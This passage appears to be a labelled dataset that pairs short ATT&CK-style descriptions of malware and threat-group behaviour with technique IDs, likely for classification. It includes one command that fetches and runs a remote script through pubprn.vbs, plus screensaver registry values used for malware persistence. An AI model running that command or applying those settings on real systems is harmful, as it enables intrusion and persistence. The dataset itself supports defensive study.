Technique: T1012: Query Registry
Prior to version 10.5 on macOS, adversaries can add login items by using AppleScript to send an Apple events to the “System Events” process, which has an AppleScript dictionary for manipulating login items.
Technique: T1547: Boot or Logon Autostart Execution
The persona may exist on a single social media site or across multiple sites .
Technique: T1585: Establish Accounts
Olympic Destroyer uses PsExec to interact with the ADMIN$ network share to execute commands on remote systems.
Technique: T1021: Remote Services
APT1 has been known to use credential dumping using Mimikatz.
Technique: T1003: OS Credential Dumping
NETWIRE can collect the IP address of a compromised host.
Technique: T1016: System Network Configuration Discovery
Virtualization drivers in order to gain kernel mode privileges.
Technique: T1068: Exploitation for Privilege Escalation
These documents can be delivered via other techniques such as Phishing and/or Taint Shared Content and may evade static detections since no typical indicators  are present until after the malicious payload is fetched.
Technique: T1221: Template Injection
Adversaries may enumerate browser bookmarks to learn more about compromised hosts.
Technique: T1217: Browser Bookmark Discovery
Malicious Home Pages will execute when the right Outlook folder is loaded/reloaded.
Technique: T1137: Office Application Startup
Adversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.
Technique: T1036: Masquerading
GOLD SOUTHFIELD has used the cloud-based remote management and monitoring tool "ConnectWise Control" to deploy REvil.
Technique: T1219: Remote Access Software
Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel.
Technique: T1567: Exfiltration Over Web Service
Adversaries may create or modify references in Office document templates to conceal malicious code or force authentication attempts.
Technique: T1221: Template Injection
Many ZeroT samples can perform UAC bypass by using eventvwr.exe to execute a malicious file.
Technique: T1548: Abuse Elevation Control Mechanism
NETEAGLE will attempt to detect if the infected host is configured to a proxy.
Technique: T1008: Fallback Channels
Hi-Zor communicates with its C2 server over HTTPS.
Technique: T1071: Application Layer Protocol
NETWIRE can capture session logon details from a compromised host.
Technique: T1049: System Network Connections Discovery
Fysbis has been encrypted using XOR and RC4.
Technique: T1027: Obfuscated Files or Information
Gamaredon Group has injected malicious macros into all Word and Excel documents on mapped network drives.
Technique: T1080: Taint Shared Content
This may be used in persistent threat incidents as well as BEC  incidents where an adversary can assign more access rights to the accounts they wish to compromise.
Technique: T1098: Account Manipulation
BRONZE BUTLER has used legitimate applications to side-load malicious DLLs.
Technique: T1574: Hijack Execution Flow
CORESHELL can communicate over HTTP for C2.
Technique: T1071: Application Layer Protocol
Kinsing has used valid SSH credentials to access remote hosts.
Technique: T1078: Valid Accounts
Additionally, if weak linking is used, such as the LC_LOAD_WEAK_DYLIB function, an application will still execute even if an expected dylib is not present.
Technique: T1574: Hijack Execution Flow
ZxShell can kill AV products' processes.
Technique: T1562: Impair Defenses
Flame can use MS10-061 to exploit a print spooler vulnerability in a remote system with a shared printer in order to move laterally.
Technique: T1068: Exploitation for Privilege Escalation
FIN8's malicious spearphishing payloads are executed as PowerShell.
Technique: T1059: Command and Scripting Interpreter
OilRig has used automated collection.
Technique: T1119: Automated Collection
An adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges.
Technique: T1037: Boot or Logon Initialization Scripts
OilRig has a tool called CANDYKING to capture a screenshot of user's desktop.
Technique: T1113: Screen Capture
Zebrocy can obtain the current execution path as well as perform drive enumeration.
Technique: T1083: File and Directory Discovery
A module in Prikormka gathers logins and passwords stored in applications on the victims, including Google Chrome, Mozilla Firefox, and several other browsers.
Technique: T1555: Credentials from Password Stores
YAHOYAH encrypts its configuration file using a simple algorithm.
Technique: T1027: Obfuscated Files or Information
Furthermore, this group has routinely identified and exploited vulnerable web servers of targeted organizations to install web shells, such as ANTAK and ASPXSPY, and used stolen legitimate credentials to compromise externally facing Outlook Web Access (OWA) resources
Technique: T1505: Server Software Component
Tropic Trooper has injected a DLL backdoor into dllhost.exe and svchost.exe.
Technique: T1055: Process Injection
A Threat Group-3390 tool can spawn svchost.exe and inject the payload into that process.
Technique: T1055: Process Injection
Bankshot identifies processes and collects the process ids.
Technique: T1057: Process Discovery
APT28 uses a module to receive a notification every time a USB mass storage device is inserted into a victim.
Technique: T1120: Peripheral Device Discovery
FatDuke has been packed with junk code and strings.
Technique: T1027: Obfuscated Files or Information
All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry.
Technique: T1566: Phishing
Silence has obtained and modified versions of publicly-available tools like Empire and PsExec.
Technique: T1588: Obtain Capabilities
APT29 used cmd.exe to execute commands on remote machines.
Technique: T1059: Command and Scripting Interpreter
ZxShell can collect the owner and organization information from the target workstation.
Technique: T1033: System Owner/User Discovery
GuLoader has the ability to download malware from Google Drive.
Technique: T1102: Web Service
Adversaries may also target information about victim network-based intrusion detection systems  or other appliances related to defensive cybersecurity operations.
Technique: T1590: Gather Victim Network Information
The following screensaver settings are stored in the Registry  and could be manipulated to achieve persistence:
* SCRNSAVE.exe - set to malicious PE path
* ScreenSaveActive - set to '1' to enable the screensaver
* ScreenSaverIsSecure - set to '0' to not require a password to unlock
* ScreenSaveTimeout - sets user inactivity timeout before screensaver is executed
Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.
Technique: T1546: Event Triggered Execution
Nomadic Octopus attempted to make Octopus appear as a  Telegram Messenger with a Russian interface.
Technique: T1036: Masquerading
TrickBot creates a scheduled task on the system that provides persistence.
Technique: T1053: Scheduled Task/Job
Frankenstein has used MSbuild to execute an actor-created file.
Technique: T1127: Trusted Developer Utilities Proxy Execution
FrameworkPOS can collect elements related to credit card data from process memory.
Technique: T1005: Data from Local System
BACKSPACE achieves persistence by creating a shortcut to itself in the CSIDL_STARTUP directory.
Technique: T1547: Boot or Logon Autostart Execution
An example command is pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct.
Technique: T1216: Signed Script Proxy Execution
Comnie executes BAT scripts.
Technique: T1059: Command and Scripting Interpreter